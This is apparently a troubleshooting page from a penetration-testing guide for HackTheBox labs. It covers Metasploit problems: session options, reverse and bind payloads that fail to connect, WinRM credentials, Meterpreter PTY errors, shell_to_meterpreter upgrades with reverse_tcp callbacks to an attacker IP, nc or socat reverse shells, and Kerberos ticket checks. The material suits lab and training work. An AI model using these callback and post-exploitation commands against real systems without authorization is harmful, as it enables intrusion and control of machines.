Troubleshooting
When Metasploit work stalls, check the session, reachability, options, and assumptions about the OS and architecture.
Unclear module options
Section titled “Unclear module options”show optionsshow advancedshow targetsshow payloadsinfo -dshow missingAfter selecting a target, show payloads filters the payloads available for that target. Option names and defaults can change between versions, so check them on first use.
Failure involving the SESSION option
Section titled “Failure involving the SESSION option”Local exploits and post modules often require SESSION (singular).
sessions -lrun verbose=true session=3Passing the plural form, as in run sessions=3, may raise Msf::OptionValidateError.
No reverse session connects back
Section titled “No reverse session connects back”Check LHOST first. If the VPN interface’s IP address has changed or you selected another interface, the handler may start without receiving a session.
run verbose=true lhost=10.10.16.10 lport=4444jobs -lsessions -lCheck:
- Can the target reach
LHOST:LPORT? - Is
LHOSTset to the HTB VPN IP address, such as the one ontun0? - Is another process or handler using the port?
- For a staged payload, does the host used to fetch the stage point to the correct interface?
Fetch payloads may expose FETCH_SRVHOST, FETCH_SRVPORT, and FETCH_WRITABLE_DIR. Check the path by which the target fetches from Kali and a writable directory on the target.
Bind shell or bind Meterpreter will not connect
Section titled “Bind shell or bind Meterpreter will not connect”With a bind payload, the target listens and Kali connects to it.
Check:
- Can Kali reach the target’s bind port?
- Is Windows Firewall or a local firewall blocking inbound connections?
- Can the listening port be reached through NAT or from another network segment?
- Are the handler’s
RHOSTandLPORTcorrect?
If the target cannot be reached this way, switching to a reverse payload may be faster.
Correct SSH / WinRM credentials but no session
Section titled “Correct SSH / WinRM credentials but no session”Successful authentication and session creation are separate. A session is not created if CreateSession is disabled.
show optionsrun verbose=true createsession=truesessions -lWinRM often fails because of the domain setting.
run verbose=true domain=. rport=5985 ssl=falseFor AD domain credentials, set DOMAIN to the appropriate NetBIOS name or FQDN. HTTPS WinRM normally uses RPORT 5986 and SSL true.
Meterpreter shell -t / shell -it fails
Section titled “Meterpreter shell -t / shell -it fails”The regular shell may work even when a PTY shell exits with errors like these:
[-] core_channel_write: Operation failed: 32[-] core_channel_write: Operation failed: 932 means EPIPE and 9 means EBADF. This is especially common with mettle (when sysinfo reports a BuildTuple of *-linux-musl). features is a command for msfconsole.
If you need vim or tmux, receive a separate reverse shell with socat or nc on the attacker machine and make it a full TTY. See Fully Interactive TTY for the steps.
shell_to_meterpreter fails after misidentifying the OS
Section titled “shell_to_meterpreter fails after misidentifying the OS”An incorrect OS or architecture detection can prevent an upgrade. Specify the payload and platform explicitly.
run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=linux/x64/meterpreter/reverse_tcp platform_override=linux handler=trueFor Windows:
run post/multi/manage/shell_to_meterpreter verbose=true session=3 lhost=10.10.16.10 lport=5555 payload_override=windows/x64/meterpreter/reverse_tcp platform_override=windows handler=trueKeep the original SSH or shell session open as a recovery path if the upgrade fails.
Local exploit reports vulnerability but opens no session
Section titled “Local exploit reports vulnerability but opens no session”If check succeeds but no session connects back, check the handler’s LHOST, payload architecture, writable location, and fetch method.
- Check the correct Meterpreter or shell session ID with
sessions -l. - Check
SESSION,LHOST, and payload options withshow options. - Specify it as a runtime argument, for example
run verbose=true lhost=<tun0-vpn-address>. - Match Linux or Windows, x64 or x86, and staged or stageless payloads to the target.
- Check that
FETCH_WRITABLE_DIRis writable andFETCH_COMMANDexists on the target.
Cannot connect to the database
Section titled “Cannot connect to the database”db_statusmsfdb statusmsfdb startdb_connect -y ~/.msf4/database.ymldb_statusYou may think you switched workspaces while still querying default, so check workspace too.
Before working with tickets
Section titled “Before working with tickets”sessions -i 1shellklistLook for:
- Is a TGT present in the current logon session?
- Is a TGS for the target service cached?
- The
Client,Server, expiration time, and encryption type. - Time differences between the DC and endpoint, name resolution, and SPN consistency.

